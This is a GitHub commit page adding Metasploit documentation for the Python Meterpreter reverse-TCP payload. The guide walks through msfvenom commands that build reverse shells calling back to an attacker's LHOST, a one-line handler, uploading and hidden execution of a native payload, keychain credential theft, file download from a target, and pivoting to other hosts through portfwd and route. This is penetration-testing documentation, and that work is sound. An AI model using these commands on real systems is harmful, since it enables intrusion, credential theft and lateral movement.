Skip to content

Commit c23be2b

Browse files
committed
Land rapid7#7077, add module doc for py/met/rev_tcp
2 parents 45401bf + bd566da commit c23be2b

File tree

2 files changed

+359
-1
lines changed

2 files changed

+359
-1
lines changed
Lines changed: 358 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,358 @@
1+
python/meterpreter/reverse_tcp allows you to remotely control the compromised system. It is a
2+
unique payload to the Metasploit Framework, because it is cross-platform. And since Python is
3+
a very popular programming language, some operating systems such as Ubuntu even support it
4+
by default.
5+
6+
When using an exploit, using a cross-platform payload like python/meterpreter/reverse_tcp also
7+
means you don't need to worry about which target/platform to select, the payload should work
8+
for all of them.
9+
10+
## Vulnerable Application
11+
12+
The Python Meterpreter is suitable for any systems that support Python. Some operating
13+
systems such as Ubuntu, Debian, Arch Linux, and OS X have it by default. The Python
14+
Meterpreter supports the CPython implementation versions 2.5-2.7 and 3.1+.
15+
16+
## Deploying python/meterpreter/reverse_tcp
17+
18+
python/meterpreter/reverse_tcp is typically used in two different ways.
19+
20+
First, it can be used with an exploit as long as the Python platform is supported. This sort
21+
of information can usually be found when you use the ```info``` command like this:
22+
23+
```
24+
msf exploit(ms14_064_packager_python) > info
25+
26+
Name: MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python
27+
Module: exploit/windows/fileformat/ms14_064_packager_python
28+
Platform: Python
29+
Privileged: No
30+
License: Metasploit Framework License (BSD)
31+
Rank: Excellent
32+
Disclosed: 2014-11-12
33+
34+
.... more info here ...
35+
```
36+
37+
Or, you can check the exploit's target list by doing ```show targets```, there might be Python
38+
on the list.
39+
40+
If your exploit supports Python, here is how to load it:
41+
42+
1. In msfconsole, select the exploit.
43+
2. Configure the options for that exploit.
44+
3. Do: ```set PAYLOAD python/meterpreter/reverse_tcp```
45+
4. Set the ```LHOST``` datastore option, which is the [IP that the payload should connect to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit).
46+
5. Do ```exploit```. If the exploit is successful, it should execute that payload.
47+
48+
Another way to use the Python Meterpreter is to generate it as a Python file. Normally, you would
49+
want to do this with msfvenom, like this:
50+
51+
```
52+
./msfvenom -p python/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/python.py
53+
```
54+
55+
## Important Basic Commands
56+
57+
Compared to a native Meterpreter such as windows/meterpreter/reverse_tcp, the Python Meterpreter
58+
has less commands, but here's a list of all the common ones you might need:
59+
60+
**pwd command**
61+
62+
The ```pwd``` command tells you the current working directory. For example:
63+
64+
```
65+
meterpreter > pwd
66+
/Users/sinn3r/Desktop
67+
```
68+
69+
**cd command**
70+
71+
The ```cd``` command allows you to change directories. Example:
72+
73+
```
74+
meterpreter > cd /Users/sinn3r/Desktop
75+
meterpreter > pwd
76+
/Users/sinn3r/Desktop
77+
```
78+
79+
**cat command**
80+
81+
The ```cat``` command allows you to see the content of a file:
82+
83+
```
84+
meterpreter > cat /tmp/data.txt
85+
Hello World!
86+
```
87+
88+
**upload command**
89+
90+
The ```upload``` command allows you to upload a file to the remote target. For example:
91+
92+
```
93+
meterpreter > upload /tmp/data.txt /Users/sinn3r/Desktop
94+
[*] uploading : /tmp/data.txt -> /Users/sinn3r/Desktop
95+
[*] uploaded : /tmp/data.txt -> /Users/sinn3r/Desktop/data.txt
96+
meterpreter >
97+
```
98+
99+
**download command**
100+
101+
The ```download``` command allows you to download a file from the remote target to your machine.
102+
For example:
103+
104+
```
105+
meterpreter > download /Users/sinn3r/Desktop/data.txt /tmp/pass.txt
106+
[*] downloading: /Users/sinn3r/Desktop/data.txt -> /tmp/pass.txt/data.txt
107+
[*] download : /Users/sinn3r/Desktop/data.txt -> /tmp/pass.txt/data.txt
108+
meterpreter >
109+
```
110+
111+
**search command**
112+
113+
The ```search``` command allows you to find files on the remote file system. For example,
114+
this shows how to find all text files in the current directory:
115+
116+
```
117+
meterpreter > search -d . -f *.txt
118+
Found 2 results...
119+
.\pass.txt (13 bytes)
120+
./creds\data.txt (83 bytes)
121+
meterpreter >
122+
```
123+
124+
Without the ```-d``` option, the command will attempt to search in all drives.
125+
126+
The ```-r``` option for the command allows you to search recursively.
127+
128+
129+
**getuid command**
130+
131+
The ```getuid``` command tells you the current user that Meterpreter is running on. For example:
132+
133+
```
134+
meterpreter > getuid
135+
Server username: root
136+
```
137+
138+
**execute command**
139+
140+
The ```execute``` command allows you to execute a command or file on the remote machine.
141+
142+
The following examples uses the command to create a text file:
143+
144+
```
145+
meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
146+
Process 73642 created.
147+
meterpreter >
148+
```
149+
150+
**ps command**
151+
152+
The ```ps``` command lists the running processes on the remote machine.
153+
154+
**shell command**
155+
156+
The ```shell``` command allows you to interact with the remote machine's command prompt (or shell).
157+
For example:
158+
159+
```
160+
meterpreter > shell
161+
Process 74513 created.
162+
Channel 2 created.
163+
sh-3.2#
164+
```
165+
166+
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
167+
168+
**sysinfo**
169+
170+
The ```sysinfo``` command shows you basic information about the remote machine. Such as:
171+
172+
* Computer name
173+
* OS name
174+
* Architecture
175+
* Meterpreter type
176+
177+
## Using a Post Module
178+
179+
One of the best things about Meterprter is you have access to a variety of post modules that
180+
"shell" sessions might not have. Post modules provide you with more capabilities to collect
181+
data from the remote machine automatically. For example, stealing credentials from the system
182+
or third-party applications, or modify settings, etc.
183+
184+
To use a post module from the Meterpreter prompt, simply use the ```run``` command. The following
185+
is an example of collecting OS X keychain information using the enum_keychain post module:
186+
187+
```
188+
meterpreter > run post/osx/gather/enum_keychain
189+
190+
[*] The following keychains for root were found:
191+
"/Users/sinn3r/Library/Keychains/login.keychain"
192+
"/Library/Keychains/System.keychain"
193+
[+] 192.168.1.209:58023 - Keychain information saved in /Users/sinn3r/.msf4/loot/20160705211412_http_192.168.1.209_macosx.keychain._271980.txt
194+
meterpreter >
195+
```
196+
197+
## Using the Post Exploitation API in IRB
198+
199+
To enter IRB, do the following at the Meterpreter prompt:
200+
201+
```
202+
meterpreter > irb
203+
[*] Starting IRB shell
204+
[*] The 'client' variable holds the meterpreter client
205+
206+
>>
207+
```
208+
209+
**The client object**
210+
211+
The client object in Meterpreter allows you to control or retrieve information about the host. For
212+
example, this allows you to get the current privilege our payload is running as:
213+
214+
```
215+
>> client.sys.config.getuid
216+
=> "root"
217+
```
218+
219+
To explore the client object, there are a few tricks. For example, you can use the #inspect method
220+
to inspect it:
221+
222+
```
223+
>> client.inspect
224+
```
225+
226+
You can also use the #methods method to see what methods you can use:
227+
228+
```
229+
>> client.methods
230+
```
231+
232+
To review the source of the method, you can use the #source_location method. For example, say we
233+
want to see the source code for the #getuid method:
234+
235+
```
236+
>> client.sys.config.method(:getuid).source_location
237+
=> ["/Users/sinn3r/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
238+
```
239+
240+
The first element of the array is the location of the file. The second is the line number of
241+
the method.
242+
243+
**Railgun**
244+
245+
If you are familiar with using the post exploitation API for Windows, you probably know about
246+
Railgun. Unfortunately, Railgun is not available in Python Meterpreters.
247+
248+
## Switching to a Native Meterpreter
249+
250+
The Python Meterpreter currently does not quite have the same strength as a native Meterpreter,
251+
therefore there are times you will want to migrate to a native one to expose yourself with more
252+
features.
253+
254+
There are many ways to migrate to a native Meterpreter, some common approaches:
255+
256+
**Example 1: Upload and Execute**
257+
258+
Step 1: Produce a native Meterpreter, such as:
259+
260+
```
261+
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=5555 -f exe -o /tmp/native.exe
262+
```
263+
264+
Step 2: Start another handler for the native payload:
265+
266+
```
267+
./msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST [IP]; set LPORT 5555; run"
268+
```
269+
270+
Step 3: Upload the native via the Python Meterpreter session:
271+
272+
```
273+
meterpreter > upload /tmp/native.exe C:\\Users\\sinn3r\\Desktop
274+
[*] uploading : /tmp/native.exe -> C:\Users\sinn3r\Desktop
275+
[*] uploaded : /tmp/native.exe -> C:\Users\sinn3r\Desktop\native.exe
276+
meterpreter >
277+
```
278+
279+
Step 4: Execute the native payload:
280+
281+
```
282+
meterpreter > execute -H -f C:\\Users\\sinn3r\\Desktop\\native.exe
283+
Process 2764 created.
284+
```
285+
286+
And then your other handler (for the native payload) should receive that session:
287+
288+
```
289+
[*] Starting the payload handler...
290+
[*] Sending stage (957999 bytes) to 192.168.1.220
291+
[*] Meterpreter session 1 opened (192.168.1.209:5555 -> 192.168.1.220:49306) at 2016-07-05 21:48:04 -0500
292+
293+
meterpreter > sysinfo
294+
Computer : WIN-6NH0Q8CJQVM
295+
OS : Windows 7 (Build 7601, Service Pack 1).
296+
Architecture : x86
297+
System Language : en_US
298+
Domain : WORKGROUP
299+
Logged On Users : 2
300+
Meterpreter : x86/win32
301+
meterpreter >
302+
```
303+
304+
**Example 2: Using exploit/multi/script/web_delivery**
305+
306+
Another way to migrate to a native Meterpreter is by using the exploit/multi/script/web_delivery
307+
module. To learn how, please read the module documentation for that module.
308+
309+
## Routing through the portfwd command
310+
311+
The portfwd command allows you to talk to a remote service like it's local. For example, if you
312+
cannot talk to the SMB service remotely on the compromised host because it is firewalled, then
313+
you can use portfwd to establish that tunnel:
314+
315+
```
316+
meterpreter > portfwd add -l 445 -p 445 -r 192.168.1.220
317+
[*] Local TCP relay created: :445 <-> 192.168.1.220:445
318+
meterpreter > portfwd
319+
320+
Active Port Forwards
321+
====================
322+
323+
Index Local Remote Direction
324+
----- ----- ------ ---------
325+
1 0.0.0.0:445 192.168.1.220:445 Forward
326+
```
327+
328+
And then talk to it like it's a local service:
329+
330+
```
331+
msf auxiliary(smb_version) > run
332+
333+
[*] 127.0.0.1:445 - Host is running Windows 7 Ultimate SP1 (build:7601)
334+
[*] Scanned 1 of 1 hosts (100% complete)
335+
[*] Auxiliary module execution completed
336+
```
337+
338+
## Routing through msfconsole
339+
340+
The route command from the msf prompt can also be used to bypass firewall like portfwd, but it also
341+
allows you to connect to hosts on a different network through the compromised machine.
342+
343+
To do that, first off, look at the ifconfig/ipconfig output and determine your pivot point:
344+
345+
```
346+
meterpreter > ipconfig
347+
```
348+
349+
Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt,
350+
and establish that route:
351+
352+
```
353+
msf > route add 192.168.1.0 255.255.255.0 1
354+
```
355+
356+
At that point, you should have a working pivot. You can use other Metasploit modules to explore
357+
or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to allow
358+
other third-party tools to do the same.

documentation/modules/payload/windows/meterpreter/reverse_tcp.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -580,7 +580,7 @@ The route command in Meterpreter allows you change the routing table that is on
580580
The portfwd command allows you to talk to a remote service like it's local. For example, if you are able to compromise a host via SMB, but are not able to connect to the remote desktop service, then you can do:
581581

582582
```
583-
meterpreter > portfwd add –l 3389 –p 3389 –r > target host >
583+
meterpreter > portfwd add –l 3389 –p 3389 –r [Target Host]
584584
```
585585

586586
And that should allow you to connect to remote desktop this way on the attacker's box:

0 commit comments

Comments
 (0)